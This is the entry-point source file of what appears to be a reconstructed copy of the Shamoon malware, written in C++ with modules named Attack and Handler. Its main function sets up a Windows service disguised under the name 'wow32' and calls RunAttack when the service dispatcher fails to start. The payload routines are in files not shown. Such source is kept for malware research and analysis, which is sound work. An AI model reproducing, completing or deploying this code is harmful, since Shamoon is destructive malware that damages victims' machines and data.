// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Global/Global.h"

#include "Utils/General.h"

#include "Modules/32bit.h"
#include "Modules/Handler.h"
#include "Modules/Attack.h"

using namespace Shamoon::Utils;

using namespace Shamoon::Modules::_32bit;
using namespace Shamoon::Modules::Handler;
using namespace Shamoon::Modules::Attack;

int main(int argc, const char **argv)
{
	InitModule();

	if(Setup32bitService())
		exit(0);
	
	SERVICE_TABLE_ENTRYW ServiceStartTable[] =
	{
		{ L"wow32", (LPSERVICE_MAIN_FUNCTIONW)SvcMain },
		{ NULL, NULL }
	};
	
	if(!StartServiceCtrlDispatcherW(ServiceStartTable))
		RunAttack(FALSE);
	
	ResetArgs();
	return 0;
}